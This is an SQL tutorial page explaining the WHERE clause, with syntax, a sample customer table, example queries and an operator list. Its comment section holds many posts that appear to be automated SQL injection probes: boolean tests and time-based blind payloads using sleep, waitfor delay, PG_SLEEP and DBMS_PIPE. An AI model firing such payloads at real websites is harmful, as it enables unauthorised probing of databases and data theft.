SQL WHERE Clause

The SQL WHERE clause specifies a certain condition in the query and records are filtered from the database according to that condition. Where clause is used with SELECT, UPDATE, DELETE statement.

WHERE Clause Syntax :

The syntax of the WHERE Clause is −

SELECT column1, column2, ...
FROM table_name
WHERE condition;



WHERE Clause Example :

Consider the Customer table with the following records -

CustomerID CustomerName Age Address CustomerSalary
1 Aarav 28 Udaipur 28000
2 Vivaan 25 Mumbai 30000
3 Reyansh 28 Chennai 35000
4 Muhammad 24 Udaipur 50000
5 Sai 30 Mumbai 27000


TEST CASE 1 :- The following code is an example, which would fetch the all fields from Customer table where Address is Udaipur.

SELECT * FROM Customer
WHERE Address='Udaipur';


The result for the respective sql query is as follows −

CustomerID CustomerName Age Address CustomerSalary
1 Aarav 28 Udaipur 28000
4 Muhammad 24 Udaipur 50000



TEST CASE 2:- The following code is an example, which would fetch the all fields from Customer table where Age is 28.

SELECT * FROM Customer
WHERE Age=28;


The result for the respective sql query is as follows −

CustomerID CustomerName Age Address CustomerSalary
1 Aarav 28 Udaipur 28000
3 Reyansh 28 Chennai 35000



Operators in The WHERE Clause:

The following operators can be used in the WHERE clause:

Operator Description
= Equal
> Greater than
< Less than
>= Greater than or Equal
<= Less than or Equal
< > Not equal
BETWEEN A range
LIKE Search for a pattern
IN specify multiple possible values



Visit :


Discussion



* You must be logged in to add comment.

pHqghUme
555

pHqghUme
555

pHqghUme
555

pHqghUme
-1 OR 2+145-145-1=0+0+0+1 --

pHqghUme
-1 OR 3+145-145-1=0+0+0+1 --

pHqghUme
-1 OR 3*2<(0+5+145-145) --

pHqghUme
-1 OR 3*2>(0+5+145-145) --

pHqghUme
-1 OR 2+696-696-1=0+0+0+1

pHqghUme
-1 OR 3+696-696-1=0+0+0+1

pHqghUme
-1 OR 3*2<(0+5+696-696)

pHqghUme
-1 OR 3*2>(0+5+696-696)

pHqghUme
-1' OR 2+143-143-1=0+0+0+1 --

pHqghUme
-1' OR 3+143-143-1=0+0+0+1 --

pHqghUme
-1' OR 3*2<(0+5+143-143) --

pHqghUme
-1' OR 3*2>(0+5+143-143) --

pHqghUme
-1' OR 2+88-88-1=0+0+0+1 or 'oocPdEPV'='

pHqghUme
-1' OR 3+88-88-1=0+0+0+1 or 'oocPdEPV'='

pHqghUme
-1' OR 3*2<(0+5+88-88) or 'oocPdEPV'='

pHqghUme
-1' OR 3*2>(0+5+88-88) or 'oocPdEPV'='

pHqghUme
-1" OR 2+375-375-1=0+0+0+1 --

pHqghUme
-1" OR 3+375-375-1=0+0+0+1 --

pHqghUme
-1" OR 3*2<(0+5+375-375) --

pHqghUme
-1" OR 3*2>(0+5+375-375) --

pHqghUme
if(now()=sysdate(),sleep(15),0)

pHqghUme
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme
-1; waitfor delay '0:0:15' --

pHqghUme
-1); waitfor delay '0:0:15' --

pHqghUme
1 waitfor delay '0:0:15' --

pHqghUme
gP30KBA1'; waitfor delay '0:0:15' --

pHqghUme
-5 OR 937=(SELECT 937 FROM PG_SLEEP(15))--

pHqghUme
-5) OR 690=(SELECT 690 FROM PG_SLEEP(15))--

pHqghUme
-1)) OR 398=(SELECT 398 FROM PG_SLEEP(15))--

pHqghUme
ZSqDUIxM' OR 26=(SELECT 26 FROM PG_SLEEP(15))--

pHqghUme
Trpoc2lv') OR 785=(SELECT 785 FROM PG_SLEEP(15))--

pHqghUme
X6VEU7dA')) OR 837=(SELECT 837 FROM PG_SLEEP(15))--

pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme
1'"

pHqghUme

pHqghUme
@@MyZIX

pHqghUme
555

pHqghUme
555

pHqghUme
555